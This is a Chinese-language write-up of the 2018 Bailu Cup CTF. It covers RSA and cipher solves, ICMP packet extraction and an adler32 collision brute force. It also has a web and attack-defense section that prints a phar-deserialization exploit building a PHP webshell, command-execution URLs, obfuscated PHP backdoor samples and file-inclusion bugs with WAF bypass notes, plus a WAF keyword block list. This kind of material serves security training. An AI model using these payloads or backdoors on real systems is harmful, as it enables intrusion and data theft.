2018 柏鹭杯 writeup

CTF

Crypto

Crypto1

problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flag import flag
from Crypto.Util.number import *
import random
def next_prime(n):
num = n + 1
while True:
if isPrime(num):
return num
num += 1
p = random.randint(1<<3071,1<<3072)
p = next_prime(p)
q = next_prime(p*10)

N = p*q
e = 65537
c = pow(bytes_to_long(flag),e,N)
print N#247157208312655169175097941364280738161257111976460225724719907081110265510517450181419502794457206227461600647913804553439171851865273449559295717229024951735351965745325255241561391509015823198303928588939850683031392486366218841593013566932215141428061199015117025898704736991786081007198271335363347647516874679013119543722851148642512142186199102168074461255284546705588056994149297326331376082141145137980534967406372164077378650248545875219877244489040506317293082270408705203779841533080244655519849164084793887915122847280359452339072498784918027724621588636245527176960457003310429876627882173282069366037431766179722648353575718417895929519296072344510519198593252963273537190447967056699273665756186541135880261688073100218736960343554003491651502334045257343825793705434779809139021362473746587814528428007114308414633338220797896397738142172067161950968365434368211510967904096253326804711795198906393597153228365711080786247894858858419136771806150038968465644512536135428099037524022644906606239281576512245480765249280626544900781649017542649977530381598608436485399917576052247750573936190833224008929770080605906041913084656134359260509037195783858871830359437278131656343708211575987756873026171223324073191307367943843353573378426157170935012284820053625264544030714057464690450568057598110227083895395913850243271935830358181622027323185508807486853971929523201869477689585619024238113916052252320578711256593537267591407960305853736136636628575478996733430026632486500743561965770413140633948002705696925426367918545515713035754606128166993229587155817506068035187995926746472892280477401942441831391756895131543049750847590716935278314226902082626392655666615086297442052602217416486188297831289978272258543231414975069191549588547253936829655332588805672513945883351937495650167502066292697223592894483418517613405613285519159
print c#152721025887735064764471379084548069204525956728140596238274397757947415316727016281416993518884790524343567541799262176820909148208728616947040227306302164641933331109468512979068186962047716308015535717796123080303496277784765187481185086876434873226524784636408104495312136956587251145463229424950634548624036265557622592089071331292811066840281494102799063634204855779210798330603868025111521826209601342683209160845433746624786171189961029265101816540639855230011618388675527443511618729301028631422873421421991470450059414988968787693753741941765791793672069240992955177930884210118700416564364129283739917229225845073750451244070534919112957275948312337882004219145847493047815403283126471638320784008475284616178697542301935170768573588093196019976675846311280356987370969400610196847990069257614148181804915868273001764028563852238142447411811579695265293746037324400494199877368049162903819737962946786971556872009326814914717430484711885484790156341127433550909206551293806568904858726942820132521566970376839336895645431303013575622422180179687172859250687080526393904583834607514619581478966664406178290247731116920836372943133394640322159512633671870473674514938423231596849301615200001553851411828993918474534316510609878376462094608058640335426907349648369552864820322464995077358198844334320833893207364879282292959161203675080110629771237503657412087961891443054530286088807186134851425688726147108076040204500951624929585070273336203814962656253259257806100191430918121713005141607192112560560371475173081441671613602480052062955279287813475764285469835557663176529059039540417149792518941598550609678298901186032272305421028365295602810159191055078633881059737011784127699357480578433240110432805495328517379885306237631225477566136721077348329866885731002878563684349453668924250445128775992616650275173644658245397235667490402628

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
n=247157208312655169175097941364280738161257111976460225724719907081110265510517450181419502794457206227461600647913804553439171851865273449559295717229024951735351965745325255241561391509015823198303928588939850683031392486366218841593013566932215141428061199015117025898704736991786081007198271335363347647516874679013119543722851148642512142186199102168074461255284546705588056994149297326331376082141145137980534967406372164077378650248545875219877244489040506317293082270408705203779841533080244655519849164084793887915122847280359452339072498784918027724621588636245527176960457003310429876627882173282069366037431766179722648353575718417895929519296072344510519198593252963273537190447967056699273665756186541135880261688073100218736960343554003491651502334045257343825793705434779809139021362473746587814528428007114308414633338220797896397738142172067161950968365434368211510967904096253326804711795198906393597153228365711080786247894858858419136771806150038968465644512536135428099037524022644906606239281576512245480765249280626544900781649017542649977530381598608436485399917576052247750573936190833224008929770080605906041913084656134359260509037195783858871830359437278131656343708211575987756873026171223324073191307367943843353573378426157170935012284820053625264544030714057464690450568057598110227083895395913850243271935830358181622027323185508807486853971929523201869477689585619024238113916052252320578711256593537267591407960305853736136636628575478996733430026632486500743561965770413140633948002705696925426367918545515713035754606128166993229587155817506068035187995926746472892280477401942441831391756895131543049750847590716935278314226902082626392655666615086297442052602217416486188297831289978272258543231414975069191549588547253936829655332588805672513945883351937495650167502066292697223592894483418517613405613285519159
c=152721025887735064764471379084548069204525956728140596238274397757947415316727016281416993518884790524343567541799262176820909148208728616947040227306302164641933331109468512979068186962047716308015535717796123080303496277784765187481185086876434873226524784636408104495312136956587251145463229424950634548624036265557622592089071331292811066840281494102799063634204855779210798330603868025111521826209601342683209160845433746624786171189961029265101816540639855230011618388675527443511618729301028631422873421421991470450059414988968787693753741941765791793672069240992955177930884210118700416564364129283739917229225845073750451244070534919112957275948312337882004219145847493047815403283126471638320784008475284616178697542301935170768573588093196019976675846311280356987370969400610196847990069257614148181804915868273001764028563852238142447411811579695265293746037324400494199877368049162903819737962946786971556872009326814914717430484711885484790156341127433550909206551293806568904858726942820132521566970376839336895645431303013575622422180179687172859250687080526393904583834607514619581478966664406178290247731116920836372943133394640322159512633671870473674514938423231596849301615200001553851411828993918474534316510609878376462094608058640335426907349648369552864820322464995077358198844334320833893207364879282292959161203675080110629771237503657412087961891443054530286088807186134851425688726147108076040204500951624929585070273336203814962656253259257806100191430918121713005141607192112560560371475173081441671613602480052062955279287813475764285469835557663176529059039540417149792518941598550609678298901186032272305421028365295602810159191055078633881059737011784127699357480578433240110432805495328517379885306237631225477566136721077348329866885731002878563684349453668924250445128775992616650275173644658245397235667490402628

import gmpy2
from Crypto.Util.number import *
k=gmpy2.iroot(n//10+1,2)[0]+1
print(k)
for i in range(0xfffffff):
f=k-i
if i%10000==0:
print(i,end=" ")
if n%f==0:
print(i,n)
break
p=f
q=n//f
assert(p*q==n)
phi=(p-1)*(q-1)
e= 65537
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

# 4971490805710648894784063900603982138103528416416093113682856149525895474391965093292856360186270533203485404384261736770807923420477678768335595268260058770929420214670794184479653642688593773001265441972139034999789321709099375988424776953616924996952770970955016095518058970453801153351600603001621188113472370286189729979231943525793160692844078376540082324198649179890017101800683049489232021392715915700831833371902425005874555370189042455321691195416425399507551235346773377429357933240695935997956969841660473107352934178051894901298644110556291216221039424250078546978571086275993790666829060240691673857284132895978717935677825502362997789971900863003499701755174512295162461514926135376073693593713246781021035797102243028802222257489266812730745381990847604727619717567202686948267842932198278066304365500430012440700948799107940169074390644763691400614036677335457180241108468029814414775113509028739480597728378
# 0 59 247157208312655169175097941364280738161257111976460225724719907081110265510517450181419502794457206227461600647913804553439171851865273449559295717229024951735351965745325255241561391509015823198303928588939850683031392486366218841593013566932215141428061199015117025898704736991786081007198271335363347647516874679013119543722851148642512142186199102168074461255284546705588056994149297326331376082141145137980534967406372164077378650248545875219877244489040506317293082270408705203779841533080244655519849164084793887915122847280359452339072498784918027724621588636245527176960457003310429876627882173282069366037431766179722648353575718417895929519296072344510519198593252963273537190447967056699273665756186541135880261688073100218736960343554003491651502334045257343825793705434779809139021362473746587814528428007114308414633338220797896397738142172067161950968365434368211510967904096253326804711795198906393597153228365711080786247894858858419136771806150038968465644512536135428099037524022644906606239281576512245480765249280626544900781649017542649977530381598608436485399917576052247750573936190833224008929770080605906041913084656134359260509037195783858871830359437278131656343708211575987756873026171223324073191307367943843353573378426157170935012284820053625264544030714057464690450568057598110227083895395913850243271935830358181622027323185508807486853971929523201869477689585619024238113916052252320578711256593537267591407960305853736136636628575478996733430026632486500743561965770413140633948002705696925426367918545515713035754606128166993229587155817506068035187995926746472892280477401942441831391756895131543049750847590716935278314226902082626392655666615086297442052602217416486188297831289978272258543231414975069191549588547253936829655332588805672513945883351937495650167502066292697223592894483418517613405613285519159
# b'ISEC{simp13_crypt0}'

Crypto2

基因会突变,BASE64与Caesar也变异
加密密文: AUikzgRpLWaVIEaeKrqkJiieLhhqvf6=
​ 格式: ISEC{ }

我好像不太懂╮(╯▽╰)╭

Crypto3

problem

1
2
RSA(829467319, 48357)
322517722,575397051,76525646,768452152,107590034,710690594,322517722,174907762,343945760,763355610,301647581,349705569,575397051,76525646,410109929,322517722,497916224,228868281,228868281,741167939,497916224,450014050,322517722,322517722,126657310,349705569,322517722,707637171,76525646,527107437,710690594,685252839,450014050,349705569,388149253,710690594,763355610,211593791,707637171,369453331,228868281,541631545,397988536,322517722,12982396,107590034,387385119,322517722,685252839,710690594,322517722,109170298,349705569,763355610,349705569,349705569,37195518,25028382,610867628,44896265,25028382,454683367,15283689

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding : utf-8 -*-
# __author__ = 'https://github.com/findneo'

import gmpy2
n=829467319
# 使用yafu离线分解得到p,q
p = 36497
q = 22727
e=48357
assert(p*q==n)
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
c=[322517722,575397051,76525646,768452152,107590034,710690594,322517722,174907762,343945760,763355610,301647581,349705569,575397051,76525646,410109929,322517722,497916224,228868281,228868281,741167939,497916224,450014050,322517722,322517722,126657310,349705569,322517722,707637171,76525646,527107437,710690594,685252839,450014050,349705569,388149253,710690594,763355610,211593791,707637171,369453331,228868281,541631545,397988536,322517722,12982396,107590034,387385119,322517722,685252839,710690594,322517722,109170298,349705569,763355610,349705569,349705569,37195518,25028382,610867628,44896265,25028382,454683367,15283689]

s=''.join(map(lambda ci:chr(pow(ci,d,n)),c))
print(s) # _stIwn_:!oAestN_rii.ra__}e_gt8nuae1nolg0iYf_2w{_un_CeoeeEhychST

1543149985751

MISC

MISC1

部分ICMP包DATA字段携带数据,且逐字节为504B…,很显然是个压缩包,使用命令行工具tshark提取对应字段。

tshark用法参考tshark --helpWireshark命令行工具tshark使用小记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tshark -r pcapng.pcapng  -Y "icmp and icmp.ident==0x930a"  -T fields -e data | xxd -r -p > flag.zip && xxd flag.zip
00000000: 504b 0304 1400 0100 0000 0386 584d 2a17 PK..........XM*.
00000010: fbf2 3200 0000 2600 0000 0800 0000 666c ..2...&.......fl
00000020: 6167 2e74 7874 c541 e340 943c a98d fc66 ag.txt.A.@.<...f
00000030: 952e 0ffe 9ff3 8797 7647 b934 6d3d 8d3d ........vG.4m=.=
00000040: b94c fc2d cb14 16f3 723a ab5c 5e7f 0903 .L.-....r:.\^...
00000050: 64ea 7b5b 1ae0 1a4c 504b 0102 3f00 1400 d.{[...LPK..?...
00000060: 0100 0000 0386 584d 2a17 fbf2 3200 0000 ......XM*...2...
00000070: 2600 0000 0800 2400 0000 0000 0000 2000 &.....$....... .
00000080: 0000 0000 0000 666c 6167 2e74 7874 0a00 ......flag.txt..
00000090: 2000 0000 0000 0100 1800 cee8 7c47 766b ...........|Gvk
000000a0: d401 7d2d ec42 766b d401 7d2d ec42 766b ..}-.Bvk..}-.Bvk
000000b0: d401 504b 0506 0000 0000 0100 0100 5a00 ..PK..........Z.
000000c0: 0000 5800 0000 0000 0050 ..X......P
neo@u:/mnt/d/cwd/bailu/mis1$

使用ziperello爆破密码为q,得到flag{d27ca49cb6f5583ae9f3bb2ec38190de}

MISC2

problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>safe box</title>
<style>
body {
text-align: center;
}
input {
font-size: 200%;
margin-top: 5em;
text-align: center;
width: 26em;
}
#result {
margin-top: 8em;
font-size: 300%;
font-family: monospace;
font-weight: bold;
}
body.granted>#result::before {
content: "Access Granted";
color: green;
}
body.denied>#result::before {
content: "Access Denied";
color: red;
}
#content {
display: none;
}
body.granted #content {
display: initial;
}
@keyframes spin {
from { transform: rotateY(0); }
to { transform: rotateY(360deg); }
}
.cube {
animation: spin 20s infinite linear;
}
.cube div {
position: absolute;
width: 200px;
height: 200px;
background: rgba(0, 0, 0, 0.51);
box-shadow: inset 0 0 60px white;
font-size: 20px;
text-align: center;
line-height: 200px;
color: rgba(0,0,0,0.5);
font-family: sans-serif;
text-transform: uppercase;
}
</style>
<script>
function adler32(str) {
var a = 1, b = 0, L = str.length, M = 0, c = 0, d = 0;

for (var i = 0; i < L;) {
M = Math.min(L - i, 3850);
while (M > 0) {
c = str.charCodeAt(i++);
if (c < 0x80) { a += c; }
else if (c < 0x800) {
a += 192 | ((c >> 6) & 31); b += a; --M;
a += 128 | (c & 63);
} else if (c >= 0xD800 && c < 0xE000) {
c = (c & 1023) + 64; d = str.charCodeAt(i++) & 1023;
a += 240 | ((c >> 8) & 7); b += a; --M;
a += 128 | ((c >> 2) & 63); b += a; --M;
a += 128 | ((d >> 6) & 15) | ((c & 3) << 4); b += a; --M;
a += 128 | (d & 63);
} else {
a += 224 | ((c >> 12) & 15); b += a; --M;
a += 128 | ((c >> 6) & 63); b += a; --M;
a += 128 | (c & 63);
}
b += a; --M;
}
a = (15 * (a >>> 16) + (a & 65535));
b = (15 * (b >>> 16) + (b & 65535));
}
return ((b % 65521) << 16) | (a % 65521);
}
function check(х){
if(х!="0x0201"&&adler32(х)==adler32("0x0201")){
return true;
}
else{
return false;
}
}
function open_safe() {
keyhole.disabled = true;
password = /^password{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
if (!password || !check(password[1])) return document.body.className = 'denied';
document.body.className = 'granted';
content.value = "\x00\x00\x00\x00\x00\x83\x00\x00\x00N\x00\x01\x00\x01\x00\x00\x00\x00\x06\x05KP\x00\x00\x00\x00\x04\x00\x00\x00\x00\x04\x01\x00\x0bxu[\xd1\x9e\x8d\x03\x00\x05TUtxt.galf\x00\x00\x00\x00\x81\xa4\x00\x00\x00\x01\x00\x00\x00\x00\x00\x18\x00\x08\x00\x00\x00%\x00\x00\x001=\x16\x04\x0cMY\x95\x8f\x00\x00\x00\t\x00\n\x03\x1e\x02\x01KP\x00\x00\x00%\x00\x00\x001=\x16\x04\x0c\x08\x07KP\x045R\tM\xc2\xde\x14sg\x92\xd0K\xbfh\x9c\x08\xeb\xf3@\x9d\x00\x14\x8b^\xfb\xa5\x96O\xc0\xdd\x8a(\xe6\x0c\x92\x1e \xad\x86\xa6@\xbc@J=\x11Z\xfe\x00\x00\x00\x00\x04\x00\x00\x00\x00\x04\x01\x00\x0bxu[\xd1\x9e\xfb[\xd1\x9e\x8d\x03\x00\tTUtxt.galf\x00\x1c\x00\x08\x00\x00\x00%\x00\x00\x001=\x16\x04\x0cMY\x95\x8f\x00\x00\x00\t\x00\n\x04\x03KP";
}
</script>
</head>
<body>
<div>
<input id="keyhole" autofocus onchange="open_safe()" placeholder="🔑">
</div>
<div id="result">
</div>
<div>
<input id="content">
</div>
</body>
</html>

solve

显然密码正确后输出的conten.value是一个压缩包反转后的内容,提取得到压缩包发现加密,猜测密码要能走通JS逻辑。

1
2
s="\x00\x00\x00\x00\x00\x83\x00\x00\x00N\x00\x01\x00\x01\x00\x00\x00\x00\x06\x05KP\x00\x00\x00\x00\x04\x00\x00\x00\x00\x04\x01\x00\x0bxu[\xd1\x9e\x8d\x03\x00\x05TUtxt.galf\x00\x00\x00\x00\x81\xa4\x00\x00\x00\x01\x00\x00\x00\x00\x00\x18\x00\x08\x00\x00\x00%\x00\x00\x001=\x16\x04\x0cMY\x95\x8f\x00\x00\x00\t\x00\n\x03\x1e\x02\x01KP\x00\x00\x00%\x00\x00\x001=\x16\x04\x0c\x08\x07KP\x045R\tM\xc2\xde\x14sg\x92\xd0K\xbfh\x9c\x08\xeb\xf3@\x9d\x00\x14\x8b^\xfb\xa5\x96O\xc0\xdd\x8a(\xe6\x0c\x92\x1e \xad\x86\xa6@\xbc@J=\x11Z\xfe\x00\x00\x00\x00\x04\x00\x00\x00\x00\x04\x01\x00\x0bxu[\xd1\x9e\xfb[\xd1\x9e\x8d\x03\x00\tTUtxt.galf\x00\x1c\x00\x08\x00\x00\x00%\x00\x00\x001=\x16\x04\x0cMY\x95\x8f\x00\x00\x00\t\x00\n\x04\x03KP"
f=open('extract.zip','wb').write(s[::-1])

使用JavaScript爆破密码:

1
2
3
4
5
6
7
8
9
10
11
function dec2hexString(dec) {
return '0x' + (dec+0x10000).toString(16).substr(-4).toUpperCase();
}
function bruteforce(){
for(var i = 0;i<0xffff;i++){
if(check(dec2hexString(i)))console.log("password{"+dec2hexString(i)+"}")
}
}
bruteforce()
// password{0x0120} √
// password{0x1011} ×

或者使用python爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# /^password{([0-9a-zA-Z_@!?-]+)}$/
def adler32(s):
i=0;a=1;b=0;M=0;c=0;d=0
while i<len(s):
M=min(len(s)-i,3850)
while M>0:
c=ord(s[i]);i+=1
if c< 0x80:
a+=c
elif c>0xd800 and c < 0xe000:
c= (c & 1023) +64 ;d = s[i]&1023;i+=1
a+=240 | ((c >> 8) & 7); b += a; M-=1
a += 128 | ((c >> 2) & 63); b += a; M-=1
a += 128 | ((d >> 6) & 15) | ((c & 3) << 4); b += a; M-=1
a += 128 | (d & 63)
else:
a += 224 | ((c >> 12) & 15); b += a;M-=1
a += 128 | ((c >> 6) & 63); b += a;M-=1
a += 128 | (c & 63)
b+=a;M-=1
a = (15 * (a >> 16) + (a & 65535))
b = (15 * (b >> 16) + (b & 65535))
return ((b % 65521) << 16) | (a % 65521)

import itertools
for i in itertools.product('0123456789',repeat=4):
p='0x'+''.join(i)
if adler32(p)==adler32('0x0201'):
print p,
# [0x0120] 0x0201 0x1011

密码为password{0x0120} ,解压得到flag。flag{cjvf33_98hfi3_jfh3_dsh93h_f3had}

MISC3

给了1321个TXT,每个文件一个字符,内容如下。提示时间戳,没搞懂要干啥。

1
2
$ cat ./*
Money is not evil by itself.Its just paper with perceived value to obtain other things we value in other ways.If not money - what is. evil you may ask?Evil is the unquenchable, obsessive and moral bending desire for more.Evil is the bottomless, soulless and obsessive-compulsive pursuit of some pot of gold.at the end of some rainbow which doesn't exist.Evil is having a price tag for your heart and soul in exchange for financial success at any cost.Evil is trying to buy happiness, again and again.until all of those fake, short lived mirages of emotions are gone.Make more time.I'm not saying you can't be financially successful.I'm saying have a greater purpose in life well beyond the pursuit of financial success.Your soul is screaming for you to answer your true calling.You can change today if you redefine what success is to you.You can transform your damaged relationships and build new ones.You can forgive yourself and others who've hurt you.You can become a leader by mentoring with others who you aspire to be like.You can re-balance your priorities in life.You can heal your marriage and recreate a stronger love than you ever thought possible.You can become the best parent possible at any age - even 86.but don't wait until then...You will always be able to make more money.But you cannot make more time.

记录一个获取文件时间的方式。

1
2
import subprocess
a=subprocess.check_output(("stat","-c", "%y", file_name))

Web

Web1

万能密码

Web2

主页CTRL+U,发现源码泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//http://172.16.17.2/file_aq12ws.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output = 'echo "hahaha";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}

这是前段时间black hat上提到的利用phar伪协议在一些文件系统函数中触发反序列化漏洞。

phar文件本质上是一个压缩文件,在manifest部分存放每个被压缩文件的权限、属性等信息和用户自定义的meta-data数据,后者是以序列化后的形式存在的。而PHP中大部分文件系统函数在通过 phar:// 伪协议解析phar文件时,都会将meta-data反序列化。因此就有了本题的反序列化触发点file_exists函数。除了file_exists还有下图所示的函数,详见 利用 phar 拓展 php 反序列化漏洞攻击面

img

所以本题的思路是先生成一个meta-data中包含恶意object的phar文件,然后通过上传点上传该文件得到路径,再在 file_aq12ws.php 通过filename参数以phar:// 方式包含该文件,就将在file_exists函数处触发phar文件的meta-data的反序列化,就可以得到一个web shell。

要生成phar文件,需要 phar.readonly 为Off,即值为0。而出于安全性考虑,该项默认使能,值为1。当php.ini文件中的phar.readonly值为0时,可以使用ini_set在脚本中设为1或0;当值为1时,只能通过修改php.ini文件来修改值而不能通过脚本修改。也就是说,我们需要在生成phar文件前修改php.ini中phar.readonly值的Off。详细说明见 文档

生成phar包的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class MyClass{
var $output = '@eval($_GET["cmd"]);';
function __destruct()
{
eval($this -> output);
}
}
$evil_object=new MyClass();//生成恶意对象

$file_name="test.phar";//后缀必须为phar
if(file_exists($file_name))unlink('test.phar');//删除当前目录下已有的phar包
$phar=new Phar($file_name);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub,可理解为phar文件的标志
$phar->setMetadata($evil_object);//将恶意对象作为自定义的meta-data传入manifest
$phar->addFromString("foo.txt","bar");//添加压缩文件及其内容
$phar->stopBuffering();

访问该代码后目录下会生成test.phar 文件,重命名为test.gif ,上传后访问 target.ip/file_aq12ws.php?filename=phar://test.gif&cmd=phpinfo(); 见到phpinfo页面就说明成功了。

1
2
3
4
5
6
7
8
9
10
11
12
$ xxd test.phar
00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d <?php __HALT_COM
00000010: 5049 4c45 5228 293b 203f 3e0d 0a70 0000 PILER(); ?>..p..
00000020: 0001 0000 0011 0000 0001 0000 0000 003b ...............;
00000030: 0000 004f 3a37 3a22 4d79 436c 6173 7322 ...O:7:"MyClass"
00000040: 3a31 3a7b 733a 363a 226f 7574 7075 7422 :1:{s:6:"output"
00000050: 3b73 3a32 303a 2240 6576 616c 2824 5f47 ;s:20:"@eval($_G
00000060: 4554 5b22 636d 6422 5d29 3b22 3b7d 0700 ET["cmd"]);";}..
00000070: 0000 666f 6f2e 7478 7403 0000 000a 5ffb ..foo.txt....._.
00000080: 5b03 0000 00aa 8cff 76b6 0100 0000 0000 [.......v.......
00000090: 0062 6172 7533 2162 c819 a6d5 6019 ab22 .baru3!b....`.."
000000a0: 7e2e f1df 96d7 b375 0200 0000 4742 4d42 ~......u....GBMB
1
2
3
http://172.16.17.2/file_aq12ws.php?filename=phar://upload_file/phphphar2.gif&a=system('find / | grep flag');
http://172.16.17.2/file_aq12ws.php?filename=phar://upload_file/phphphar2.gif&a=system('cat /var/www/html/sdf3r_df3erdf/flag.txt');
flag{qwe3_89fdsf3_jjnj3ioxc_ozxov}

AWD

Web

attack

一上来D盾扫出几个后门。用其中一个连了菜刀,在E:\wwwroot\RequestFlag\ 发现url.bat ,内容为:curl.exe https://FlagServer.com:9000/flag --cacert ca.crt --cert client.crt --key client.key ,在目标机上执行该命令可以得到对方flag。

1
curl "http://172.16.18.13/wordpress/wp-includes/customize/class-wp-customize-background-image-list.php" -d "-7=system('E:\wwwroot\RequestFlag\curl.exe https://FlagServer.com:9000/flag --cacert E:\wwwroot\RequestFlag\ca.crt --cert E:\wwwroot\RequestFlag\client.crt --key E:\wwwroot\RequestFlag\client.key');"

用的木马是wwwroot\wordpress\wp-includes\customize\class-wp-customize-background-image-list.php ,相当于@assert(${_POST}[-7]);

1
2
3
4
5
<?php
@$_ = "s" . "s" . /*-/*-*/"e" . /*-/*-*/"r";
@$_ = /*-/*-*/"a" . /*-/*-*/$_ . /*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P" . /*-/*-*/"OS" . /*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/ - /*-/*-*/2/*-/*-*/ - /*-/*-*/5/*-/*-*/]);

在WAF上配了一些敏感字符正则后观察日志,发现另一个大家用的比较多的后门,wwwroot\wordpress\wp-includes\pomo\tp.php ,等价于@ASsERT(eval(@$_POST[cmd]));

1
2
3
<?php
${("#" ^ "|") . ("#" ^ "|")} = ("!" ^ "`") . ("( " ^ "{") . ("(" ^ "[") . ("~" ^ ";") . ("|" ^ ".") . ("*" ^ "~");
@${("#" ^ "|") . ("#" ^ "|")}(("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t"));

后来发现两处文件包含。可以利用./../ 分隔关键字绕过WAF,因为醒悟的比较晚和自动化做得不够方便,这个没有发挥太大作用。

wwwroot\wordpress\wp-content\plugins\localize-my-post\ajax\include.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

//Include WP base to have the basic WP functions
include_once($_SERVER['DOCUMENT_ROOT'] . "/wp-blog-header.php");

//Set status 200 header
//Include requested file if it exists
if(isset($_REQUEST['file'])){
$file=$_REQUEST['file'];
$file = str_replace('./','',$file);
header('HTTP/1.1 200 OK');
include($file);
}

wwwroot\wordpress\wp-content\plugins\site-editor\editor\extensions\pagebuilder\includes\ajax_shortcode_pattern.php

1
2
3
4
5
6
7
8
<?php

if( isset( $_REQUEST['ajax_path'] ) ){
$ajax_path=$_REQUEST['ajax_path'];
$ajax_path = str_replace('../','',$ajax_path);
require_once $ajax_path;
}
...

此外,有些队伍过滤了system,exe等关键字,采用反引号,base64编码,rot13编码等尝试绕过。

也许因为check机制不好使,某个时间开始大约一半以上的队伍选择关站保平安,即使只是访问对方主页也会被WAF拦截。这不难实现,只要在WAF里面把IP当关键字过滤掉就可以。这大概不太厚道吧,但黑客嘛,也许就是理解并打击规则?

没挖出啥洞,我好菜啊。而且WAF这么强,挖出来也用不上吧。

defense

一开始就在WAF上把D盾扫出来的几个可疑文件加入黑名单,后来又配了敏感关键字exec|system|exe|curl|flag|base64|filter|cmd|-7|{|rot13 等,所以Web基本只在刚开始的几轮失分。

全程就是每轮打一下,看看WAF有没拦到有趣的东西,挣扎着试图挖到洞,以及尝试一些绕过关键字的方法。

PWN

attack

因为Web手比较菜:(,PWN手帮忙看了半天Web,开始搞PWN的时间比较晚,心态有点崩,最后思路来得晚,全程没打出分,很可惜。也许后面研究下王博的WP再复现一下。

defense

权限问题动不了PWN文件,patch无门,基本坐着挨打。同样可能因为check机制的问题,存在一个fork炸弹躺下装死的防御思路。

挨打要立正

拿到两个第二确实是赛前没想到的,但这改变不了我菜的本质。队友们虽然比我强,但是也依然有很大进步空间,包括更扎实的基础,更熟练的操作,更灵活的思路,更默契的配合等等。

第一天突围赛刚开始比较顺利,最后五分钟被夜影师傅所在队伍反超,放上他们的逆向writeup:181124 逆向-2018“柏鹭杯”厦大邀请赛初赛(Re1、2) ,以弥补本文不足。

第二天AWD则全程被北航吊打,伏地膜。

因为看到某群里有人吐槽这是垃圾比赛,我觉得这个说法不太负责任,所以作为厦大学生多说两句。从题目来说。crypto一题有点脑洞,一题简单,一题中等,可以接受,misc也是相对合格的,Web题思路清晰,也有有趣的东西。reverse,PWN中也不乏质量不错的题,做出题的师傅也是认可其有自己特点的。

除了题目,比赛奖金也是很高的,闭幕式到场的嘉宾也是够级别的,比赛环境可以说相当不错,住宿交通也很人性化。从各个角度来说,这都可以算是一场有诚意的,有愿望办好且确实做得不错的比赛。所以不管是因为没被邀请、做不出题、确实感觉题目质量不行、现场厕所不够用、志愿者里面漂亮小姐姐不够多还是其他什么原因而觉得不爽的,吐槽时把话说清楚还是比较好的,免得引起不必要的误解。明年应该还会举办,欢迎路过的大佬来玩。

当然,要改进的东西还是蛮多的,反思不应该由我来做,简单说点自己的感受。最不理想的大概是AWD的check,这个称为健康检查的东西好像分不清怎样是健康。其次是使用WAF作为Web防守的工具固然可以让即使是像我这样的AWD经验不足的选手都可以很舒服,也减轻维护压力,但这样是没法打出刺激的AWD的,再加上check和我一样菜,除了没搞清楚状况的选手,有坚定原则的选手,很可能出现全场全线WAF,那就没啥好打的了。最后是PWN没有给选手patch的权限,这是不太正常的,直接导致最好的防护是把自己搞down,不管主办方是出于维护难度考虑还是什么,对真正有能力且想打一场有意思的比赛的选手来说游戏体验是不太好的。所以如果揪住这几点发表比较严厉的批评的话我是没话说的😔

最后,感谢队友带飞。